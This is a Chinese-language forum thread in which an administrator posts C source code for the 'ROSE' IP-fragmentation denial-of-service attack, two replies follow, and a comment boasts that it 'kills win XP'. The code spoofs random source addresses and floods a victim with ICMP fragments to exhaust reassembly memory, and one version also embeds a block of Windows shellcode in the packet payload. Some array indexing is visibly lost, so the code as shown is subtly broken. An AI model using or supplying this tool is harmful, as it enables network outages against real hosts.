返回列表 回复 发帖
猪猪

论坛-管理员

终身成就勋章优秀管理勋章核心成员
1#
打印
tT
发表于 2007-2-13 09:42 | 只看该作者

IP碎片攻击源代码

作 者： 不详
来 源： 不详
  1. /***
  2. ROSE attack (variation 2) (chuck (at) lemure.net)

  4. Discovered by:
  5. gandalf (at) digital.net

  7. code modified from large IGMP attack by:
  8. Kox by Coolio (coolio (at) k-r4d.com)

  10. Sends out small IP fragments totalling up to a large
  11. ICMP packet. Then repeatedly sends last IP Fragment forcing
  12. reassembly code to traverse to last IP fragment in order to
  13. do a free() followed by a malloc(). Or so it seems.

  15. Reportedly works for TCP / UDP as well, since this is
  16. a IP layer attack.


  19. ***/

  21. /* just a thousand kills win XP */

  23. #define NUM_PACKETS 100


  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <stdlib.h>
  29. #include <netdb.h>
  30. #include <string.h>
  31. #include <errno.h>
  32. #include <pwd.h>
  33. #include <time.h>
  34. #include <sys/types.h>
  35. #include <sys/socket.h>
  36. #include <sys/utsname.h>
  37. #include <netinet/in.h>
  38. #include <netinet/ip.h>
  39. #include <netinet/ip_icmp.h>

  41. #include <netinet/ip_icmp.h>

  43. void usage(char *arg)
  44. {
  45. printf("Rose attack\n");
  46. printf("Usage: %s <victim> [source]\n", arg);
  47. printf("If source not specified, will send out from random ip's\n");
  48. exit(1);
  49. }


  52. unsigned int randip()
  53. {
  54. struct hostent *he;
  55. struct sockaddr_in sin;
  56. char *buf = (char *)calloc(1, sizeof(char) * 16);

  58. sprintf(buf, "%d.%d.%d.%d",
  59. (random()%191)+23,
  60. (random()%253)+1,
  61. (random()%253)+1,
  62. (random()%253)+1);

  64. return inet_addr(buf);

  66. }

  68. unsigned short in_cksum(unsigned short *buh, int len)
  69. {
  70. register long sum = 0;
  71. unsigned short oddbyte;
  72. register unsigned short answer;

  74. while(len > 1) {
  75. sum += *buh++;
  76. len -= 2;
  77. }

  79. if(len == 1) {
  80. oddbyte = 0;
  81. *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  82. sum += oddbyte;
  83. }

  85. sum = (sum >> 16) + (sum & 0xFFFF);
  86. sum += (sum >> 16);
  87. answer = ~sum;
  88. return answer;
  89. }

  91. int fire_away(struct sockaddr_in *victim, unsigned long src)
  92. {
  93. int SMALLICMP = 1;
  94. unsigned char *pkt;
  95. struct iphdr *ip;
  96. struct igmphdr *igmp;
  97. struct icmphdr *icmp_pkt;
  98. struct utsname *un;
  99. struct passwd *p;
  100. int idList[NUM_PACKETS];
  101. unsigned long j;
  102. int i, s;
  103. int id = (random() % 40000) + 500;
  104. for (i=0;i<NUM_PACKETS;i++)
  105. idList=(random() % 40000) + 500;


  108. pkt = (unsigned char *)calloc(1, SMALLICMP
  109. + sizeof(struct iphdr) +
  110. sizeof(struct icmphdr));
  111. ip = (struct iphdr *)pkt;
  112. icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
  113. ip->version = 4;
  114. ip->ihl = (sizeof *ip) / 4;
  115. ip->ttl = 255;
  116. ip->tot_len = htons(SMALLICMP);
  117. ip->protocol = 1;
  118. ip->id = htons(id);
  119. ip->frag_off = htons(IP_MF);
  120. ip->saddr = src;
  121. ip->daddr = victim->sin_addr.s_addr;
  122. ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));


  125. icmp_pkt->type = ICMP_ECHO;
  126. icmp_pkt->code = 0;
  127. icmp_pkt->checksum = 1000;
  128. icmp_pkt->un.echo.id = random() % 255;
  129. icmp_pkt->un.echo.sequence = random() % 255;

  131. for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
  132. i < SMALLICMP; i++){
  133. pkt = random() % 255;

  135. }

  137. if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  138. perror("error: socket()");
  139. return 1;
  140. }

  142. printf(" Sending out series of small fragments\r\n");

  144. for(i=0;i<NUM_PACKETS;i++){
  145. ip->id = htons(idList);
  146. for (j=0; j<8170; j += SMALLICMP + 1){
  147. ip->frag_off = htons(j | IP_MF);
  148. if(sendto(s, pkt,
  149. SMALLICMP + sizeof(struct iphdr),
  150. 0, (struct sockaddr *)victim,
  151. sizeof(struct sockaddr_in)) == -1) {
  152. perror("error: sendto()");
  153. return 1;
  154. }
  155. }
  156. }

  158. printf(" Sending out tailing fragments\r\n");
  159. /* big frag at end... */
  160. /* sending a large amount of the end fragments over and
  161. over. This is definitely overkill, but seems to work */
  162. for (j=0;j<9999*NUM_PACKETS;j++){
  163. for(i=0;i<NUM_PACKETS;i++){
  164. ip->id=htons(idList);
  165. ip->frag_off = htons(8190|IP_MF);
  166. //ip->frag_off = htons(8100 | IP_MF);
  167. sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,
  168. 0, (struct sockaddr *)victim,
  169. sizeof(struct sockaddr_in));
  170. /* if you do sleep, CPU usage goes way down. But memory usage
  171. still creeps upward */
  172. //usleep(100); //sleep after every trailing packet
  173. }
  174. usleep(100); //sleep after every series of NUM_PACKETS
  175. }
  176. free(pkt);
  177. close(s);
  178. return 0;
  179. }

  181. int main(int argc, char *argv[])
  182. {
  183. struct sockaddr_in victim;
  184. struct hostent *he;
  185. unsigned long source;
  186. int i;

  188. srandom(time(NULL));

  190. if(argc < 2)
  191. usage(argv[0]);

  193. if((he = gethostbyname(argv[1])) == NULL) {
  194. herror(argv[1]);
  195. exit(1);
  196. }

  198. if (argc > 2){
  199. source = inet_addr(argv[2]);
  200. }
  201. else {
  202. source = randip();
  203. }

  205. memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  206. victim.sin_port = htons(0);
  207. victim.sin_family = PF_INET;

  209. printf("Sending ICMP fragments: \r\n");
  210. fflush(stdout);
  211. fire_away(&victim, source);
  212. if (argc < 3){
  213. source = randip();
  214. }

  216. fflush(stdout);
  217. printf("\nDONE\n");
  218. fflush(stdout);
  219. }

  221. 
  222. /***
  223. ROSE attack (chuck@lemure.net)

  225. Discovered by:
  226. gandalf@digital.net

  228. code modified from large IGMP attack by:
  229. Kox by Coolio (coolio@k-r4d.com)


  232. Sends out first and last ICMP packet echo request.
  233. Reportedly works for TCP / UDP as well, since this is
  234. a IP layer attack.

  236. Eats up all available packets for fragmentation reassembly.


  239. ***/

  241. /* just a thousand kills win XP */

  243. #define NUM_PACKETS 1000


  246. #include <stdio.h>
  247. #include <unistd.h>
  248. #include <stdlib.h>
  249. #include <netdb.h>
  250. #include <string.h>
  251. #include <errno.h>
  252. #include <pwd.h>
  253. #include <time.h>
  254. #include <sys/types.h>
  255. #include <sys/socket.h>
  256. #include <sys/utsname.h>
  257. #include <netinet/in.h>
  258. #include <netinet/ip.h>
  259. #include <netinet/ip_icmp.h>

  261. #include <netinet/ip_icmp.h>

  263. /* Figured I try sending some shell code for my random payload...
  264. doesn't do anything
  265. */

  267. char code[] =
  268. "\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
  269. "\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
  270. "\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
  271. "\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
  272. "\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  273. "\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
  274. "\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
  275. "\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
  276. "\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
  277. "\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
  278. "\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
  279. "\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
  280. "\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
  281. "\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
  282. "\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
  283. "\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
  284. "\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
  285. "\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
  286. "\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
  287. "\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
  288. "\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
  289. "\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
  290. "\x5b\xc2\x08\x00";

  292. void usage(char *arg)
  293. {
  294. printf("Rose attack\n");
  295. printf("Usage: %s <victim> [source]\n", arg);
  296. printf("If source not specified, will send out from random ip's\n");
  297. exit(1);
  298. }


  301. unsigned int randip()
  302. {
  303. struct hostent *he;
  304. struct sockaddr_in sin;
  305. char *buf = (char *)calloc(1, sizeof(char) * 16);

  307. sprintf(buf, "%d.%d.%d.%d",
  308. (random()%191)+23,
  309. (random()%253)+1,
  310. (random()%253)+1,
  311. (random()%253)+1);


  314. return inet_addr(buf);

  316. }

  318. unsigned short in_cksum(unsigned short *buh, int len)
  319. {
  320. register long sum = 0;
  321. unsigned short oddbyte;
  322. register unsigned short answer;

  324. while(len > 1) {
  325. sum += *buh++;
  326. len -= 2;
  327. }

  329. if(len == 1) {
  330. oddbyte = 0;
  331. *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  332. sum += oddbyte;
  333. }

  335. sum = (sum >> 16) + (sum & 0xFFFF);
  336. sum += (sum >> 16);
  337. answer = ~sum;
  338. return answer;
  339. }

  341. int rose(struct sockaddr_in *victim, unsigned long src)
  342. {
  343. int SMALLICMP = 1000;
  344. unsigned char *pkt;
  345. struct iphdr *ip;
  346. struct igmphdr *igmp;
  347. struct icmphdr *icmp_pkt;
  348. struct utsname *un;
  349. struct passwd *p;

  351. int i, s,j;
  352. int id = (random() % 40000) + 500;

  354. pkt = (unsigned char *)calloc(1, SMALLICMP);
  355. ip = (struct iphdr *)pkt;
  356. icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
  357. ip->version = 4;
  358. ip->ihl = (sizeof *ip) / 4;
  359. ip->ttl = 255;
  360. ip->tot_len = htons(SMALLICMP);
  361. ip->protocol = 1;
  362. ip->id = htons(id);
  363. ip->frag_off = htons(IP_MF);
  364. ip->saddr = src;
  365. ip->daddr = victim->sin_addr.s_addr;
  366. ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

  368. icmp_pkt->type = ICMP_ECHO;
  369. icmp_pkt->code = 0;
  370. icmp_pkt->checksum = 1000;
  371. icmp_pkt->un.echo.id = random() % 255;
  372. icmp_pkt->un.echo.sequence = random() % 255;

  374. for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
  375. i < SMALLICMP; i++){
  376. //pkt = random() % 255;
  377. pkt = '\x00';
  378. }
  379. j=0;
  380. for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;
  381. i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356;
  382. i++){
  383. pkt = code[j];
  384. j++;
  385. }
  386. if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  387. perror("error: socket()");
  388. return 1;
  389. }

  391. if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
  392. sizeof(struct sockaddr_in)) == -1) {
  393. perror("error: sendto()");
  394. return 1;
  395. }

  397. /* big frag at end... */

  399. ip->frag_off = htons(8100);
  400. //ip->frag_off = htons(8100 | IP_MF);
  401. sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
  402. sizeof(struct sockaddr_in));

  404. free(pkt);
  405. close(s);
  406. usleep(1000);
  407. return 0;
  408. }

  410. int main(int argc, char *argv[])
  411. {
  412. struct sockaddr_in victim;
  413. struct hostent *he;
  414. unsigned long source;
  415. int i;

  417. srandom(time(NULL));

  419. if(argc < 2)
  420. usage(argv[0]);

  422. if((he = gethostbyname(argv[1])) == NULL) {
  423. herror(argv[1]);
  424. exit(1);
  425. }

  427. if (argc > 2){
  428. source = inet_addr(argv[2]);
  429. }
  430. else {
  431. source = randip();
  432. }

  434. memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  435. victim.sin_port = htons(0);
  436. victim.sin_family = PF_INET;

  438. printf("Sending ICMP fragments: ");
  439. fflush(stdout);
  440. for(i = 0; i < NUM_PACKETS; i++)
  441. {
  442. rose(&victim, source);
  443. if (argc < 3){
  444. source = randip();
  445. }
  446. printf("%d\n", i);
  447. fflush(stdout);
  448. }
  449. printf("\nDONE\n");
  450. fflush(stdout);
复制代码
收藏 分享 评分
回复 引用

订阅 TOP

pascalcode

信息军队-列兵
2#
发表于 2008-6-26 11:10 | 只看该作者
果然十分深奥
回复 引用

TOP

guoshizhan0

信息军队-上等兵
3#
发表于 2008-7-14 14:10 | 只看该作者
呵呵！学习一下啊
回复 引用

TOP

返回列表